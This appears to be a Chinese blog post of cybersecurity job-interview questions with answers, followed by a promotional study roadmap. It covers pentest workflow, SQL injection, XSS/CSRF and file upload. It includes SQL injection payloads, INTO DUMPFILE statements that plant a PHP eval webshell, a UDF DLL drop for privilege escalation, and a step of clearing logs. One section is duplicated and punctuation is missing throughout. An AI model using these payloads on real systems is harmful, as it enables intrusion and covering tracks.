前言这次花了三个月的时间一边学习一边整理网络安全服务职位包括但不仅限于安全服务工程师安全运营工程师安全运维工程师安全攻防工程师“的面试问题。话不多说让我们一起学习吧目前来说还有非常多的不严谨和冗余恳请小伙伴们指正修改一、SQL注入防护方法失效的身份认证和会话管理跨站脚本攻击XSS直接引用不安全的对象安全配置错误敏感信息泄露缺少功能级的访问控制跨站请求伪造CSRF使用含有已知漏洞的组件未验证的重定向和转发二、常见的Web安全漏洞SQL注入XSS文件遍历、文件上传、文件下载垂直越权、水平越权逻辑漏洞首先对于新人来说大多数同学都是没有实战经验的对应面试官提问聊聊你的渗透测试实战但很多人却无从开口。渗透测试流程相关一、给你一个网站你是如何来渗透测试的?在获取书面授权的前提下。1)信息收集获取域名的whois信息,获取注册者邮箱姓名电话等。查询服务器旁站以及子域名站点因为主站一般比较难所以先看看旁站有没有通用性的cms或者其他漏洞。查看服务器操作系统版本web中间件看看是否存在已知的漏洞比如IISAPACHE,NGINX的解析漏洞查看IP进行IP地址端口扫描对响应的端口进行漏洞探测比如 rsync,心脏出血mysql,ftp,ssh弱口令等扫描网站目录结构看看是否可以遍历目录或者敏感文件泄漏比如php探针google hack 进一步探测网站的信息后台敏感文件2漏洞扫描开始检测漏洞如XSS,XSRF,sql注入代码执行命令执行越权访问目录读取任意文件读取下载文件包含远程命令执行弱口令上传编辑器漏洞暴力破解等3漏洞利用利用以上的方式拿到webshell或者其他权限4权限提升提权服务器比如windows下mysql的udf提权serv-u提权windows低版本的漏洞如iis6,pr,巴西烤肉linux藏牛漏洞linux内核版本漏洞提权linux下的mysql system提权以及oracle低权限提权5) 日志清理6总结报告及修复方案二、渗透测试流程项目访谈信息收集whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息漏洞扫描Nessus, AWVS手动挖掘逻辑漏洞验证漏洞修复建议如果有基线检查/复验漏洞输出报告概述测试基本信息测试范围测试时间测试任务测试过程信息安全风险综合分析整体风险分析风险影响分析系统安全分析安全漏洞列表解决方案建议复测报告SQL面试题一、SQL注入类型基于报错注入基于布尔的注入根据返回页面判断条件真假的注入基于时间的盲注不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行即页面返回时间是否增加来判断。宽字节注入联合查询可以使用 union 的情况下的注入。堆查询注入可以同时执行多条语句的执行时的注入。二、SQL注入的原理通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题意外变成了代码被执行。三、如何进行SQL注入的防御关闭应用的错误提示加waf对输入进行过滤限制输入长度限制好数据库权限drop/create/truncate等权限谨慎grant预编译好sql语句python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入只能说一定程度上防止注入。还有缓存溢出、终止字符等。数据库信息加密安全引导到密码学方面。不采用md5因为有彩虹表一般是一次md5后加盐再md5清晰的编程规范结对/自动化代码 review 加大量现成的解决方案PreparedStatementActiveRecord歧义字符过滤 只可访问存储过程 balabala已经让 SQL 注入的风险变得非常低了。具体的语言如何进行防注入采用什么安全框架四、sqlmap怎么对一个注入点注入如果是get型号直接sqlmap -u “诸如点网址”.如果是post型诸如点可以sqlmap -u 注入点网址” --data“post的参数”如果是cookieX-Forwarded-For等可以访问的时候用burpsuite抓包注入处用*号替换放到文件里然后sqlmap -r “文件地址”五、mysql的网站注入5.0以上和5.0以下有什么区别10年前就出了5.0现在都到5.7了没啥意义的问题5.0以下没有information_schema这个系统表无法列表名等只能暴力跑表名。5.0以下是多用户单操作5.0以上是多用户多操做。六、MySQL存储引擎1、InnoDB主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全ACID兼容存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来甚至在同一个查询中也可以混合InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中表空间可以包含数个文件或原始磁盘文件。这与MyISAM表不同比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸即使在文 件尺寸被限制为2GB的操作系统上InnoDB支持外键完整性约束存储表中的数据时每张表的存储都按主键顺序存放如果没有显示在表定义时指定主键InnoDB会为每一行生成一个6字节的ROWID并以此作为主键2、MyISAM访问速度快不支持事务逐渐被淘汰3、MEMORYBTREE索引或者HASH索引。将表中数据放在内存中并发性能差。4、MERGE、Archive等等不常用的七、什么是事务事务是一组原子性的SQL语句或者说是一个独立的工作单元如果数据库引擎能够成功对数据库应用这组SQL语句那么就执行如果其中有任何一条语句因为崩溃或其它原因无法执行那么所有的语句都不会执行。也就是说事务内的语句要么全部执行成功要么全部执行失败。举个银行应用的典型例子假设银行的数据库有两张表支票表和储蓄表现在某个客户A要从其支票账户转移2000元到其储蓄账户那么至少需求三个步骤a.检查A的支票账户余额高于2000元b.从A的支票账户余额中减去2000元c.在A的储蓄账户余额中增加2000元。这三个步骤必须要打包在一个事务中任何一个步骤失败则必须要回滚所有的步骤否则A作为银行的客户就可能要莫名损失2000元就出问题了。这就是一个典型的事务这个事务是不可分割的最小工作单元整个事务中的所有操作要么全部提交成功要么全部失败回滚不可能只执行其中一部分这也是事务的原子性特征。八、读锁和写锁读锁是共享的即相互不阻塞的多个客户在同一时刻可以读取同一资源互不干扰。写锁是排他的即一个写锁会阻塞其它的写锁和读锁只有这样才能确保给定时间内只有一个用户能执行写入防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。九、MySQL的索引索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。十、ORDER BY在注入的运用order by后面可以加字段名表达式和字段的位置字段的位置需要是整数型。十一、GPC是什么GPC之后怎么绕过如果magic_quotes_gpcOnPHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”以确保这些数据不会引起程序特别是数据库语句因为特殊字符认为是php的字符引起的污染。十二、Mysql一个和两个什么区别为用户变量使用SET var11赋值 为系统变量 包括全局变量show global variables \G;和会话变量show session variables \G;十三、注入/绕过常用的函数1、基于布尔SQL盲注left(database(),1)‘s’ascii(substr((select table_name information_schema.tables where tables_schemadatabase()limit 0,1),1,1))101 --ascii(substr((select database()),1,1))98ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))98%23regexp正则注入 select user() regexp ‘^[a-z]’;select user() like ‘ro%’2、基于报错的SQL盲注1and extractvalue(1, concat(0x7e,(select version),0x7e))】】】2通过floor报错 向下取整3and updatexml(1, concat(0x7e,(secect version),0x7e),1)4.geometrycollection()select * from test where id1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id1 and exp(~(select * from(select user())a));3、延时注入如何来判断if(ascii(substr(“hello”, 1, 1))104, sleep(5), 1)十四、盲注和延时注入的共同点都是一个字符一个字符的判断十五、如何拿一个网站的webshell上传后台编辑模板sql注入写文件命令执行代码执行一些已经爆出的cms漏洞比如dedecms后台可以直接建立脚本文件wordpress上传插件包含脚本文件zip压缩包等十六、sql注入写文件都有哪些函数select ‘一句话’ into outfile ‘路径’select ‘一句话’ into dumpfile ‘路径’select ‘?php eval($\\\_POST\\\[1\\\]) ?’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;十七、各种写shell的问题1、写shell用什么函数select ?php phpinfo() into outfile ‘D:/shelltest.php’dumpfilefile_put_contents2、outfile不能用了怎么办select unhex(‘udf.dll hex code’) into dumpfile ‘c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll’;可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html3、dumpfile和outfile有什么不一样outfile适合导库在行末尾会写入新行并转义因此不能写入二进制可执行文件。4、sleep()能不能写shell5、写shell的条件用户权限目录读写权限防止命令执行disable_functions禁止了disable_functionsphpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.htmlopen_basedir: 将用户可操作的文件限制在某目录下十八、sql注入写文件都有哪些函数select ‘一句话’ into outfile ‘路径’select ‘一句话’ into dumpfile ‘路径’select ‘?php eval($\\\_POST\\\[1\\\]) ?’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;十九、sql二次注入第一次进行数据库插入数据的时候仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义在写入数据库的时候还是保留了原来的数据但是数据本身还是脏数据。在将数据存入到了数据库中之后开发者就认为数据是可信的。在下一次进行需要进行查询的时候直接从数据库中取出了脏数据没有进行进一步的检验和处理这样就会造成SQL的二次注入。交友网站填写年龄处是一个注入点页面会显示出与你相同年龄的用户有几个。使用and 11确定注入点用order by探测列数union select探测输出点是第几列暴库 group_concat(schema_name) from information_schema.schemata暴表 group_concat(table_name) from information_schema.schemata where table_schema‘hhh’获取数据 concat(flag) from flag修复在从数据库或文件中取数据的时候也要进行转义或者过滤。二十、SQL和NoSQL的区别SQL关系型数据库NoSQL(Not only SQL)非关系型数据库SQL优点关系型数据库是指用关系数学模型来表示的数据其中是以二维表的形式描述数据。结构稳定不易修改常用联表查询查询能力高可以操作很复杂的查询一致性高处理数据会使用封锁保证数据不被改变表具有逻辑性易于理解SQL缺点不适用高并发读写不适用海量数据高效读写层次多扩展性低维护一致性开销大涉及联表查询复杂慢NoSQL优点采用键值对存储数据由于数据之间没有关系所以易扩展也易于查询数据结构灵活每个数据都可以有不同的结构由于降低了一致性的要求所以查询速度更快比较非关系型数据库的产生是因为随着网站的进化并发性增加扩展性高一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余并且消耗着性能。因此有了非关系型数据库它可以算是关系型数据库的一种弱化的结果在海量数据存储和查询上更胜一筹。两种数据库没有好坏之分只是使用的环境不一样。关系型数据库可以说是更严谨的可靠性更强的数据库在对于数据精度要求高的环境比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度但是对于数据的准确度没有那么高对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。二十一、MongoDB注入方式利用正则找到y开头的name db.items.find({name: {$regex: “^y”}})XSS CSRF XXE SSRF一、CSRF 和 XSS 和 XXE 有什么区别以及修复方式XSS是跨站脚本攻击用户提交的数据中可以构造代码来执行从而实现窃取用户信息等攻击。修复方式对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。CSRF是跨站请求伪造攻击XSS是实现CSRF的诸多手段中的一种是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.XXE是XML外部实体注入攻击XML中可以通过调用实体来请求本地或者远程内容和远程文件保护类似会引发相关安全问题例如敏感文件读取。修复方式XML解析库在调用时严格禁止对外部实体的解析。二、如何防止CSRF?1,验证referer2验证token详细浅谈cnode社区如何防止csrf攻击 - CNode技术社区三、CSRF、SSRF和重放攻击有什么区别CSRF是跨站请求伪造攻击由客户端发起SSRF是服务器端请求伪造由服务器发起重放攻击是将截获的数据包进行重放达到身份认证等目的四、啥是同源策略跨域有几种方式浏览器安全的基石是同源政策目的是为了保证用户的信息安全防止恶意网站窃取数据避免cookie共享。同源含义是协议、域名、端口相同的两个网页才可以共用cookie。目前如果非同源有三种行为收到限制- Cookie、LocalStorage 和 IndexDB 无法读取。- DOM 无法获得。- AJAX 请求不能发送五、如何规避同源策略1、JSONP向服务器请求json数据回调一般请求URL会加上callbackxxfoo({ ip: 8.8.8.8 });由于JSONP的劫持http://blog.knownsec.com/2015/03/jsonp_security_technic/防御验证 JSON 文件调用的来源 Referer 但是Referer 过滤正则不严谨、空 Referer也不行随机token2、WebSocketWebSocket是一种通信协议使用ws://非加密和wss://加密作为协议前缀。该协议不实行同源政策只要服务器支持就可以通过它进行跨源通信。3、CORS(重点)CORS是跨源资源分享Cross-Origin Resource Sharing的缩写。它是W3C标准是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求CORS允许任何类型的请求。CORS请求大致和ajax请求但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话服务器返回的响应会多出Acess-Control-Allow-*的字段与JSONP的比较CORS与JSONP的使用目的相同但是比JSONP更强大。JSONP只支持GET请求CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器以及可以向不支持CORS的网站请求数据。六、DOM XSS与反射XSS有啥不同给你10s如何快速判断一个XSS是否是DOM XSS存储型XSS你发送一次带XSS代码的请求以后这个页面的返回包里都会有XSS代码反射型XSS你发送一次带XSS代码的请求只能在当前返回的数据包中发现XSS代码DOM型XSS你发送一次带XSS代码的请求在返回包里压根儿就找不到XSS代码的影子文件上传 文件包含漏洞一、常见的上传绕过方式前端js验证禁用js/burp改包大小写双重后缀名过滤绕过 pphphp-php防护文件上传目录设置为不可执行使用白名单判断文件上传类型 用随机数改写文件名和路径二、PHP文件包含函数include() 使用此函数只有代码执行到此函数时才将文件包含进来发生错误时只警告并继续执行。inclue_once() 功能和前者一样区别在于当重复调用同一文件时程序只调用一次。require()使用此函数只要程序执行立即调用此函数包含文件发生错误时会输出错误信息并立即终止程序。require_once() 功能和前者一样区别在于当重复调用同一文件时程序只调用一次。Linux木马查杀一、常见的设备有啥防火墙 utm 负载均衡设备IPS IDS(HIDS基于主机型入侵检测系统)堡垒机蜜罐网闸waf扫描器soc(ossim开源安全信息管理系统)使用此函数只有代码执行到此函数时才将文件包含进来发生错误时只警告并继续执行。inclue_once() 功能和前者一样区别在于当重复调用同一文件时程序只调用一次。require()使用此函数只要程序执行立即调用此函数包含文件发生错误时会输出错误信息并立即终止程序。require_once() 功能和前者一样区别在于当重复调用同一文件时程序只调用一次。Linux木马查杀一、常见的设备有啥防火墙 utm 负载均衡设备IPS IDS(HIDS基于主机型入侵检测系统)堡垒机蜜罐网闸waf扫描器soc(ossim开源安全信息管理系统)网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级黑客1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取网络安全学习路线学习资源7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完·用Python编写漏洞的exp,然后写一个简单的网络爬虫·PHP基本语法学习并书写一个简单的博客系统熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选)·了解Bootstrap的布局或者CSS。8、高级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线很多小伙伴想要一窥网络安全整个体系这里我分享一份打磨了4年已经成功修改到4.0版本的**《平均薪资40w的网络安全工程师学习路线图》**对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。学习资料工具包压箱底的好资料全面地介绍网络安全的基础理论包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等将基础理论和主流工具的应用实践紧密结合有利于读者理解各种主流工具背后的实现机制。​​​​​​网络安全源码合集工具包​​​​视频教程​​​​视频配套资料国内外网安书籍、文档工具​​​好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!特别声明此教程为纯技术分享本文的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失。网络安全学习路线学习资源本文转自网络如有侵权请联系删除。